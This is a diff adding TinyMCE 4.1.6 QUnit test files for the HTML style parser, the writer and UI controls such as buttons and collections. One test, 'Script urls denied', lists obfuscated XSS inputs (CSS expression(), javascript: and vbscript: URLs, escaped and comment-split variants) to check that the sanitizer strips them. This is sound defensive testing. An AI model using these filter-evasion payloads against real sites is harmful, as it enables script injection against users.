+
+	equal(styles.serialize(styles.parse('FONT-SIZE:10px')), "font-size: 10px;");
+	equal(styles.serialize(styles.parse('FONT-SIZE:10px;COLOR:red')), "font-size: 10px; color: red;");
+	equal(styles.serialize(styles.parse('   FONT-SIZE  :  10px  ;   COLOR  :  red   ')), "font-size: 10px; color: red;");
+	equal(styles.serialize(styles.parse('key:"value"')), "key: 'value';");
+	equal(styles.serialize(styles.parse('key:"value1" \'value2\'')), "key: 'value1' 'value2';");
+	equal(styles.serialize(styles.parse('key:"val\\"ue1" \'val\\\'ue2\'')), "key: 'val\"ue1' 'val\\'ue2';");
+	equal(styles.serialize(styles.parse('width:100%')), 'width: 100%;');
+	equal(styles.serialize(styles.parse('value:_; value2:"_"')), 'value: _; value2: \'_\';');
+	equal(styles.serialize(styles.parse('value: "&amp;"')), "value: '&amp;';");
+	equal(styles.serialize(styles.parse('value: "&"')), "value: '&';");
+	equal(styles.serialize(styles.parse('value: ')), "");
+});
+
+test('Colors force hex and lowercase', function() {
+	var styles = new tinymce.html.Styles();
+
+	expect(6);
+
+	equal(styles.serialize(styles.parse('color: rgb(1,2,3)')), "color: #010203;");
+	equal(styles.serialize(styles.parse('color: RGB(1,2,3)')), "color: #010203;");
+	equal(styles.serialize(styles.parse('color: #FF0000')), "color: #ff0000;");
+	equal(styles.serialize(styles.parse('  color:   RGB  (  1  ,  2  ,  3  )  ')), "color: #010203;");
+	equal(styles.serialize(styles.parse('   FONT-SIZE  :  10px  ;   COLOR  :  RGB  (  1  ,  2  ,  3  )   ')), "font-size: 10px; color: #010203;");
+	equal(styles.serialize(styles.parse('   FONT-SIZE  :  10px  ;   COLOR  :  RED   ')), "font-size: 10px; color: red;");
+});
+
+test('Urls convert urls and force format', function() {
+	var styles = new tinymce.html.Styles({url_converter : function(url) {
+		return '|' + url + '|';
+	}});
+
+	expect(9);
+
+	equal(styles.serialize(styles.parse('background: url(a)')), "background: url('|a|');");
+	equal(styles.serialize(styles.parse('background: url("a")')), "background: url('|a|');");
+	equal(styles.serialize(styles.parse("background: url('a')")), "background: url('|a|');");
+	equal(styles.serialize(styles.parse('background: url(   a   )')), "background: url('|a|');");
+	equal(styles.serialize(styles.parse('background: url(   "a"   )')), "background: url('|a|');");
+	equal(styles.serialize(styles.parse("background: url(    'a'    )")), "background: url('|a|');");
+	equal(styles.serialize(styles.parse('background1: url(a); background2: url("a"); background3: url(\'a\')')), "background1: url('|a|'); background2: url('|a|'); background3: url('|a|');");
+	equal(styles.serialize(styles.parse("background: url('http://www.site.com/a?a=b&c=d')")), "background: url('|http://www.site.com/a?a=b&c=d|');");
+	equal(styles.serialize(styles.parse("background: url('http://www.site.com/a_190x144.jpg');")), "background: url('|http://www.site.com/a_190x144.jpg|');");
+});
+
+test('Compress styles', function() {
+	var styles = new tinymce.html.Styles();
+
+	equal(
+		styles.serialize(styles.parse('border-top: 1px solid red; border-left: 1px solid red; border-bottom: 1px solid red; border-right: 1px solid red;')),
+		'border: 1px solid red;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('border-width: 1pt 1pt 1pt 1pt; border-style: none none none none; border-color: black black black black;')),
+		'border: 1pt none black;'
+	);
+	
+	equal(
+		styles.serialize(styles.parse('border-width: 1pt 4pt 2pt 3pt; border-style: solid dashed dotted none; border-color: black red green blue;')),
+		'border-width: 1pt 4pt 2pt 3pt; border-style: solid dashed dotted none; border-color: black red green blue;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('border-top: 1px solid red; border-left: 1px solid red; border-right: 1px solid red; border-bottom: 1px solid red')),
+		'border: 1px solid red;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('border-top: 1px solid red; border-right: 2px solid red; border-bottom: 3px solid red; border-left: 4px solid red')),
+		'border-top: 1px solid red; border-right: 2px solid red; border-bottom: 3px solid red; border-left: 4px solid red;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('padding-top: 1px; padding-right: 2px; padding-bottom: 3px; padding-left: 4px')),
+		'padding: 1px 2px 3px 4px;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('margin-top: 1px; margin-right: 2px; margin-bottom: 3px; margin-left: 4px')),
+		'margin: 1px 2px 3px 4px;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('margin-top: 1px; margin-right: 1px; margin-bottom: 1px; margin-left: 2px')),
+		'margin: 1px 1px 1px 2px;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('margin-top: 2px; margin-right: 1px; margin-bottom: 1px; margin-left: 1px')),
+		'margin: 2px 1px 1px 1px;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('border-top-color: red; border-right-color: green; border-bottom-color: blue; border-left-color: yellow')),
+		'border-color: red green blue yellow;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('border-width: 1px; border-style: solid; border-color: red')),
+		'border: 1px solid red;'
+	);
+
+	equal(
+		styles.serialize(styles.parse('border-width: 1px; border-color: red')),
+		'border-width: 1px; border-color: red;'
+	);
+});
+
+test('Font weight', function() {
+	var styles = new tinymce.html.Styles();
+
+	expect(1);
+
+	equal(styles.serialize(styles.parse('font-weight: 700')), "font-weight: bold;");
+});
+
+test('Valid styles', function() {
+	var styles = new tinymce.html.Styles({}, new tinymce.html.Schema({valid_styles : {'*': 'color,font-size', 'a': 'margin-left'}}));
+
+	expect(2);
+
+	equal(styles.serialize(styles.parse('color: #ff0000; font-size: 10px; margin-left: 10px; invalid: 1;'), 'b'), "color: #ff0000; font-size: 10px;");
+	equal(styles.serialize(styles.parse('color: #ff0000; font-size: 10px; margin-left: 10px; invalid: 2;'), 'a'), "color: #ff0000; font-size: 10px; margin-left: 10px;");
+});
+
+test('Invalid styles', function() {
+	var styles = new tinymce.html.Styles({}, new tinymce.html.Schema({invalid_styles : {'*': 'color,font-size', 'a': 'margin-left'}}));
+
+	equal(styles.serialize(styles.parse('color: #ff0000; font-size: 10px; margin-left: 10px'), 'b'), "margin-left: 10px;");
+	equal(styles.serialize(styles.parse('color: #ff0000; font-size: 10px; margin-left: 10px; margin-right: 10px;'), 'a'), "margin-right: 10px;");
+});
+
+test('Script urls denied', function() {
+	var styles = new tinymce.html.Styles();
+
+	equal(styles.serialize(styles.parse('behavior:url(test.htc)')), "");
+	equal(styles.serialize(styles.parse('color:expression(alert(1))')), "");
+	equal(styles.serialize(styles.parse('color:\\65xpression(alert(1))')), "");
+	equal(styles.serialize(styles.parse('color:exp/**/ression(alert(1))')), "");
+	equal(styles.serialize(styles.parse('color:/**/')), "");
+	equal(styles.serialize(styles.parse('color:  expression  (  alert(1))')), "");
+	equal(styles.serialize(styles.parse('background:url(jAvaScript:alert(1)')), "");
+	equal(styles.serialize(styles.parse('background:url(javascript:alert(1)')), "");
+	equal(styles.serialize(styles.parse('background:url(vbscript:alert(1)')), "");
+	equal(styles.serialize(styles.parse('background:url(j\navas\u0000cr\tipt:alert(1)')), "");
+	equal(styles.serialize(styles.parse('background:url(data:image/svg+xml,%3Csvg/%3E)')), "");
+});
+
+test('Script urls allowed', function() {
+	var styles = new tinymce.html.Styles({allow_script_urls: true});
+
+	equal(styles.serialize(styles.parse('behavior:url(test.htc)')), "behavior: url('test.htc');");
+	equal(styles.serialize(styles.parse('color:expression(alert(1))')), "color: expression(alert(1));");
+	equal(styles.serialize(styles.parse('background:url(javascript:alert(1)')), "background: url('javascript:alert(1');");
+	equal(styles.serialize(styles.parse('background:url(vbscript:alert(1)')), "background: url('vbscript:alert(1');");
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Writer.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Writer.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Writer.js	(revision 33402)
@@ -0,0 +1,168 @@
+module("tinymce.html.Writer");
+
+test('Comment', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer();
+	writer.comment('text');
+	equal(writer.getContent(), '<!--text-->');
+
+	writer = new tinymce.html.Writer();
+	writer.comment('');
+	equal(writer.getContent(), '<!---->');
+});
+
+test('CDATA', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer();
+	writer.cdata('text');
+	equal(writer.getContent(), '<![CDATA[text]]>');
+
+	writer = new tinymce.html.Writer();
+	writer.cdata('');
+	equal(writer.getContent(), '<![CDATA[]]>');
+});
+
+test('PI', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer();
+	writer.pi('xml', 'someval');
+	equal(writer.getContent(), '<?xml someval?>');
+
+	writer = new tinymce.html.Writer();
+	writer.pi('xml');
+	equal(writer.getContent(), '<?xml?>');
+});
+
+test('Doctype', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer();
+	writer.doctype(' text');
+	equal(writer.getContent(), '<!DOCTYPE text>');
+
+	writer = new tinymce.html.Writer();
+	writer.doctype('');
+	equal(writer.getContent(), '<!DOCTYPE>');
+});
+
+test('Text', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer();
+	writer.text('te<xt');
+	equal(writer.getContent(), 'te&lt;xt');
+
+	writer = new tinymce.html.Writer();
+	writer.text('');
+	equal(writer.getContent(), '');
+});
+
+test('Text raw', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer();
+	writer.text('te<xt', true);
+	equal(writer.getContent(), 'te<xt');
+
+	writer = new tinymce.html.Writer();
+	writer.text('', true);
+	equal(writer.getContent(), '');
+});
+
+test('Start', function() {
+	var writer;
+
+	expect(5);
+
+	writer = new tinymce.html.Writer();
+	writer.start('b');
+	equal(writer.getContent(), '<b>');
+
+	writer = new tinymce.html.Writer();
+	writer.start('b', [{name: 'attr1', value: 'value1'}, {name: 'attr2', value: 'value2'}]);
+	equal(writer.getContent(), '<b attr1="value1" attr2="value2">');
+
+	writer = new tinymce.html.Writer();
+	writer.start('b', [{name: 'attr1', value: 'val<"ue1'}]);
+	equal(writer.getContent(), '<b attr1="val&lt;&quot;ue1">');
+
+	writer = new tinymce.html.Writer();
+	writer.start('img', [{name: 'attr1', value: 'value1'}, {name: 'attr2', value: 'value2'}], true);
+	equal(writer.getContent(), '<img attr1="value1" attr2="value2" />');
+
+	writer = new tinymce.html.Writer();
+	writer.start('br', null, true);
+	equal(writer.getContent(), '<br />');
+});
+
+test('End', function() {
+	var writer;
+
+	expect(1);
+
+	writer = new tinymce.html.Writer();
+	writer.end('b');
+	equal(writer.getContent(), '</b>');
+});
+
+test('Indentation', function() {
+	var writer;
+
+	expect(2);
+
+	writer = new tinymce.html.Writer({indent: true, indent_before: 'p', indent_after:'p'});
+	writer.start('p');
+	writer.start('span');
+	writer.text('a');
+	writer.end('span');
+	writer.end('p');
+	writer.start('p');
+	writer.text('a');
+	writer.end('p');
+	equal(writer.getContent(), '<p><span>a</span></p>\n<p>a</p>');
+
+	writer = new tinymce.html.Writer({indent: true, indent_before: 'p', indent_after:'p'});
+	writer.start('p');
+	writer.text('a');
+	writer.end('p');
+	equal(writer.getContent(), '<p>a</p>');
+});
+
+test('Entities', function() {
+	var writer;
+
+	expect(3);
+
+	writer = new tinymce.html.Writer();
+	writer.start('p', [{name: "title", value: '<>"\'&\u00e5\u00e4\u00f6'}]);
+	writer.text('<>"\'&\u00e5\u00e4\u00f6');
+	writer.end('p');
+	equal(writer.getContent(), '<p title="&lt;&gt;&quot;\'&amp;\u00e5\u00e4\u00f6">&lt;&gt;"\'&amp;\u00e5\u00e4\u00f6</p>');
+
+	writer = new tinymce.html.Writer({entity_encoding: 'numeric'});
+	writer.start('p', [{name: "title", value: '<>"\'&\u00e5\u00e4\u00f6'}]);
+	writer.text('<>"\'&\u00e5\u00e4\u00f6');
+	writer.end('p');
+	equal(writer.getContent(), '<p title="&lt;&gt;&quot;\'&amp;&#229;&#228;&#246;">&lt;&gt;"\'&amp;&#229;&#228;&#246;</p>');
+
+	writer = new tinymce.html.Writer({entity_encoding: 'named'});
+	writer.start('p', [{name: "title", value: '<>"\'&\u00e5\u00e4\u00f6'}]);
+	writer.text('<>"\'&\u00e5\u00e4\u00f6');
+	writer.end('p');
+	equal(writer.getContent(), '<p title="&lt;&gt;&quot;\'&amp;&aring;&auml;&ouml;">&lt;&gt;"\'&amp;&aring;&auml;&ouml;</p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/AbsoluteLayout.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/AbsoluteLayout.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/AbsoluteLayout.js	(revision 33402)
@@ -0,0 +1,31 @@
+(function() {
+	module("tinymce.ui.AbsoluteLayout", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createPanel(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'panel',
+			layout: 'absolute',
+			width: 200,
+			height: 200
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+	}
+
+	test("spacer x:10, y:20, minWidth: 100, minHeight: 100", function() {
+		var panel = createPanel({
+			items: [
+				{type: 'spacer', x: 10, y: 20, w: 100, h: 120, classes: 'red'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 200, 200]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [10, 20, 100, 120]);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/Button.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/Button.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/Button.js	(revision 33402)
@@ -0,0 +1,104 @@
+(function() {
+	module("tinymce.ui.Button", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createButton(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'button'
+		}, settings)).renderTo(document.getElementById('view'));
+	}
+
+	test("button text, size default", function() {
+		var button = createButton({text: 'X'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 34, 30], 4);
+	});
+
+	test("button text, size large", function() {
+		var button = createButton({text: 'X', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 41, 39], 4);
+	});
+
+	test("button text, size small", function() {
+		var button = createButton({text: 'X', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 19, 23], 4);
+	});
+
+	test("button text, width 100, height 100", function() {
+		var button = createButton({text: 'X', width: 100, height: 100});
+
+		deepEqual(Utils.rect(button), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(button.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("button icon, size default", function() {
+		var button = createButton({icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 40, 30], 4);
+	});
+
+	test("button icon, size small", function() {
+		var button = createButton({icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 28, 24], 4);
+	});
+
+	test("button icon, size large", function() {
+		var button = createButton({icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 44, 40], 4);
+	});
+
+	test("button icon, width 100, height 100", function() {
+		var button = createButton({icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(button), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(button.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("button text & icon, size default", function() {
+		var button = createButton({text: 'X', icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 52, 30], 4);
+	});
+
+	test("button text & icon, size large", function() {
+		var button = createButton({text: 'X', icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 59, 40], 4);
+	});
+
+	test("button text & icon, size small", function() {
+		var button = createButton({text: 'X', icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(button), [0, 0, 38, 24], 4);
+	});
+
+	test("button text & icon, width 100, height 100", function() {
+		var button = createButton({text: 'X', icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(button), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(button.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("button click event", function() {
+		var button, clicks = {};
+
+		button = createButton({text: 'X', onclick: function() {clicks.a = 'a';}});
+		button.on('click', function() {clicks.b = 'b';});
+		button.on('click', function() {clicks.c = 'c';});
+		button.fire('click');
+
+		deepEqual(clicks, {a: 'a', b: 'b', c: 'c'});
+	});
+})();
+
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/Collection.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/Collection.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/Collection.js	(revision 33402)
@@ -0,0 +1,253 @@
+(function() {
+	var panel;
+
+	module("tinymce.ui.Collection", {
+		setupModule: function() {
+			panel = tinymce.ui.Factory.create({
+				type: 'panel',
+				items: [
+					{type: 'button', name: 'button1', text: 'button1', classes: 'class1', disabled: true},
+					{type: 'button', name: 'button2', classes: 'class1 class2'},
+					{type: 'button', name: 'button3', classes: 'class2 class1 class3'},
+
+					{type: 'buttongroup', name: 'buttongroup1', items: [
+						{type: 'button', name: 'button4'},
+						{type: 'button', name: 'button5'},
+						{type: 'button', name: 'button6'}
+					]},
+
+					{type: 'buttongroup', name: 'buttongroup2', items: [
+						{type: 'button', name: 'button7'},
+						{type: 'button', name: 'button8'},
+						{type: 'button', name: 'button9'}
+					]},
+
+					{type: 'toolbar', name: 'toolbar1', items: [
+						{type: 'buttongroup', name: 'buttongroup3', items: [
+							{type: 'button', name: 'button10', disabled: true},
+							{type: 'button', name: 'button11'},
+							{type: 'button', name: 'button12', classes: 'class4'}
+						]}
+					]}
+				]
+			}).renderTo(document.getElementById('view'));
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	test("Constructor", function() {
+		equal(new tinymce.ui.Collection().length, 0);
+		equal(new tinymce.ui.Collection(panel.find('button').toArray()).length, 12);
+		equal(new tinymce.ui.Collection(panel.find('button')).length, 12);
+		equal(new tinymce.ui.Collection(panel.find('button:first')[0]).length, 1);
+		equal(new tinymce.ui.Collection(panel.find('button:first')[0])[0].type, 'button');
+	});
+
+	test("add", function() {
+		var collection = new tinymce.ui.Collection([panel, panel]);
+
+		equal(collection.add(panel).length, 3);
+		equal(collection.add([panel, panel]).length, 5);
+	});
+
+	test("set", function() {
+		var collection = new tinymce.ui.Collection([panel, panel]);
+
+		equal(collection.set(panel).length, 1);
+		equal(collection.set([panel, panel]).length, 2);
+	});
+
+	test("filter", function() {
+		equal(panel.find('button').filter('*:first').length, 4);
+		equal(panel.find('button').filter('buttongroup button').length, 9);
+		equal(panel.find('button').filter('*').length, 12);
+		equal(panel.find('button').filter('nomatch').length, 0);
+		equal(panel.find('button').filter(function(ctrl) {return ctrl.settings.name == "button7";}).length, 1);
+	});
+
+	test("slice", function() {
+		equal(panel.find('button').slice(1).length, 11);
+		equal(panel.find('button').slice(1)[0].name(), 'button2');
+
+		equal(panel.find('button').slice(0, 1).length, 1);
+		equal(panel.find('button').slice(0, 1)[0].name(), 'button1');
+
+		equal(panel.find('button').slice(-1).length, 1);
+		equal(panel.find('button').slice(-1)[0].name(), 'button12');
+
+		equal(panel.find('button').slice(-2).length, 2);
+		equal(panel.find('button').slice(-2)[0].name(), 'button11');
+
+		equal(panel.find('button').slice(-2, -1).length, 1);
+		equal(panel.find('button').slice(-2, -1)[0].name(), 'button11');
+
+		equal(panel.find('button').slice(1000).length, 0);
+		equal(panel.find('button').slice(-1000).length, 12);
+	});
+
+	test("eq", function() {
+		equal(panel.find('button').eq(1).length, 1);
+		equal(panel.find('button').eq(1)[0].name(), 'button2');
+
+		equal(panel.find('button').eq(-2).length, 1);
+		equal(panel.find('button').eq(-2)[0].name(), 'button11');
+
+		equal(panel.find('button').eq(1000).length, 0);
+	});
+
+	test("each", function() {
+		var count;
+
+		count = 0;
+		panel.find('button').each(function() {
+			count++;
+		});
+
+		equal(count, 12);
+
+		count = 0;
+		panel.find('nomatch').each(function() {
+			count++;
+		});
+
+		equal(count, 0);
+
+		count = 0;
+		panel.find('button').each(function(item, index) {
+			count += index;
+		});
+
+		equal(count, 66);
+
+		count = 0;
+		panel.find('button').each(function(item) {
+			if (item.type == 'button') {
+				count++;
+			}
+		});
+
+		equal(count, 12);
+
+		count = 0;
+		panel.find('button').each(function(item, index) {
+			count++;
+
+			if (index == 3) {
+				return false;
+			}
+		});
+
+		equal(count, 4);
+	});
+
+	test("toArray", function() {
+		equal(panel.find('button').toArray().length, 12);
+		equal(panel.find('button').toArray().concat, Array.prototype.concat);
+	});
+
+	test("fire/on/off", function() {
+		var value;
+
+		value = 0;
+		panel.find('button').off();
+		panel.find('button#button1,button#button2').on('test', function(args) {
+			value += args.value;
+		});
+		panel.find('button#button1').fire('test', {value: 42});
+		equal(value, 42);
+
+		value = 0;
+		panel.find('button').off();
+		panel.find('button#button1,button#button2').on('test', function(args) {
+			value += args.value;
+		});
+		panel.find('button').fire('test', {value: 42});
+		equal(value, 84);
+
+		value = 0;
+		panel.find('button').off();
+		panel.find('button#button1,button#button2').on('test', function(args) {
+			value += args.value;
+		});
+		panel.find('button#button1').off('test');
+		panel.find('button').fire('test', {value: 42});
+		equal(value, 42);
+
+		panel.find('button').off();
+
+		value = 0;
+		panel.find('button').fire('test', {value: 42});
+		equal(value, 0);
+	});
+
+	test("show/hide", function() {
+		panel.find('button#button1,button#button2').hide();
+		equal(panel.find('button:not(:visible)').length, 2);
+
+		panel.find('button#button1').show();
+		equal(panel.find('button:not(:visible)').length, 1);
+
+		panel.find('button#button2').show();
+	});
+
+	test("text", function() {
+		equal(panel.find('button#button1,button#button2').text(), 'button1');
+		equal(panel.find('button#button2').text('button2').text(), 'button2');
+
+		equal(panel.find('button#button2,button#button3').text('test').text(), 'test');
+		equal(panel.find('button#button3').text(), 'test');
+	});
+
+	test("disabled", function() {
+		ok(panel.find('button#button1').disabled());
+		ok(!panel.find('button#button2').disabled());
+		ok(panel.find('button#button2').disabled(true).disabled());
+
+		panel.find('button#button2').disabled(false);
+	});
+
+	test("visible", function() {
+		ok(panel.find('button#button2').visible());
+		ok(!panel.find('button#button2').visible(false).visible());
+
+		panel.find('button#button2').visible(true);
+	});
+
+	test("active", function() {
+		ok(!panel.find('button#button2').active());
+		ok(panel.find('button#button2').active(true).active());
+
+		panel.find('button#button2').active(false);
+	});
+
+	test("name", function() {
+		equal(panel.find('button#button1').name(), 'button1');
+		equal(panel.find('button#button2').name('buttonX').name(), 'buttonX');
+
+		panel.find('button#buttonX').name('button2');
+	});
+
+	test("addClass/removeClass/hasClass", function() {
+		panel.find('button#button1').addClass('test');
+		ok(panel.find('button#button1').hasClass('test'));
+		ok(!panel.find('button#button1').hasClass('nomatch'));
+		panel.find('button#button1').removeClass('test');
+		ok(!panel.find('button#button1').hasClass('test'));
+	});
+
+	test("prop", function() {
+		ok(panel.find('button#button1').prop('disabled'));
+		equal(panel.find('button#button1').prop('name'), 'button1');
+		equal(panel.find('button#button1').prop('name', 'buttonX').prop('name'), 'buttonX');
+		panel.find('button#buttonX').prop('name', 'button1');
+		equal(panel.find('button#button1').prop('missingProperty'), undefined);
+	});
+
+	test("exec", function() {
+		ok(!panel.find('button#button1').exec('disabled', false).disabled());
+		panel.find('button#button1').disabled(true);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/ColorButton.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/ColorButton.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/ColorButton.js	(revision 33402)
@@ -0,0 +1,102 @@
+(function() {
+	module("tinymce.ui.ColorButton", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createColorButton(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'colorbutton'
+		}, settings)).renderTo(document.getElementById('view'));
+	}
+
+	test("colorbutton text, size default", function() {
+		var colorButton = createColorButton({text: 'X'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 42, 30], 4);
+	});
+
+	test("colorbutton text, size large", function() {
+		var colorButton = createColorButton({text: 'X', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 49, 39], 4);
+	});
+
+	test("colorbutton text, size small", function() {
+		var colorButton = createColorButton({text: 'X', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 34, 23], 4);
+	});
+
+	test("colorbutton text, width 100, height 100", function() {
+		var colorButton = createColorButton({text: 'X', width: 100, height: 100});
+
+		deepEqual(Utils.rect(colorButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(colorButton.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("colorbutton icon, size default", function() {
+		var colorButton = createColorButton({icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 50, 30], 4);
+	});
+
+	test("colorbutton icon, size small", function() {
+		var colorButton = createColorButton({icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 43, 24], 4);
+	});
+
+	test("colorbutton icon, size large", function() {
+		var colorButton = createColorButton({icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 54, 40], 4);
+	});
+
+	test("colorbutton icon, width 100, height 100", function() {
+		var colorButton = createColorButton({icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(colorButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(colorButton.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("colorbutton text & icon, size default", function() {
+		var colorButton = createColorButton({text: 'X', icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 62, 30], 4);
+	});
+
+	test("colorbutton text & icon, size large", function() {
+		var colorButton = createColorButton({text: 'X', icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 69, 40], 4);
+	});
+
+	test("colorbutton text & icon, size small", function() {
+		var colorButton = createColorButton({text: 'X', icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(colorButton), [0, 0, 53, 24], 4);
+	});
+
+	test("colorbutton text & icon, width 100, height 100", function() {
+		var colorButton = createColorButton({text: 'X', icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(colorButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(colorButton.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("colorbutton click event", function() {
+		var colorButton, clicks = {};
+
+		colorButton = createColorButton({text: 'X', onclick: function() {clicks.a = 'a';}});
+		colorButton.renderTo(document.getElementById('view'));
+		colorButton.fire('click', {target: colorButton.getEl()});
+
+		deepEqual(clicks, {a: 'a'});
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/Control.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/Control.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/Control.js	(revision 33402)
@@ -0,0 +1,216 @@
+(function() {
+	module("tinymce.ui.Control");
+
+	test("Initial states", function() {
+		var ctrl;
+
+		ctrl = new tinymce.ui.Control({});
+
+		// Check inital states
+		equal(ctrl.disabled(), false);
+		equal(ctrl.active(), false);
+		equal(ctrl.visible(), true);
+		equal(ctrl.text(), "");
+		equal(ctrl.width(), 0);
+		equal(ctrl.height(), 0);
+		equal(ctrl.name(), "");
+		equal(ctrl.title(), "");
+		equal(ctrl.parent(), undefined);
+		deepEqual(ctrl.settings, {});
+	});
+
+	test("Settings", function() {
+		var ctrl = new tinymce.ui.Control({
+			disabled: true,
+			active: true,
+			visible: true,
+			text: 'Text',
+			title: 'Title',
+			width: 100,
+			height: 200,
+			name: 'Name'
+		});
+
+		// Check settings states
+		equal(ctrl.disabled(), true);
+		equal(ctrl.active(), true);
+		equal(ctrl.visible(), true);
+		equal(ctrl.text(), "Text");
+		equal(ctrl.width(), 100);
+		equal(ctrl.height(), 200);
+		equal(ctrl.name(), "Name");
+		equal(ctrl.title(), "Title");
+		equal(ctrl.parent(), undefined);
+		deepEqual(ctrl.settings, {
+			disabled: true,
+			active: true,
+			visible: true,
+			text: 'Text',
+			title: 'Title',
+			width: 100,
+			height: 200,
+			name: 'Name'
+		});
+	});
+
+	test("Properties", function() {
+		var ctrl, cont;
+
+		cont = new tinymce.ui.Container({});
+		ctrl = new tinymce.ui.Control({});
+
+		// Set all states
+		ctrl = ctrl.
+			disabled(true).
+			active(true).
+			visible(true).
+			text("Text").
+			title("Title").
+			width(100).
+			height(200).
+			name("Name").parent(cont);
+
+		// Check states
+		equal(ctrl.disabled(), true);
+		equal(ctrl.active(), true);
+		equal(ctrl.visible(), true);
+		equal(ctrl.text(), "Text");
+		equal(ctrl.width(), 100);
+		equal(ctrl.height(), 200);
+		equal(ctrl.name(), "Name");
+		equal(ctrl.title(), "Title");
+		equal(ctrl.parent(), cont);
+		deepEqual(ctrl.settings, {});
+	});
+
+	test("Chained methods", function() {
+		var ctrl = new tinymce.ui.Control({});
+
+		// Set all states
+		ctrl = ctrl.
+			on('click', function() {}).
+			off().
+			renderTo(document.getElementById('view')).
+			remove();
+
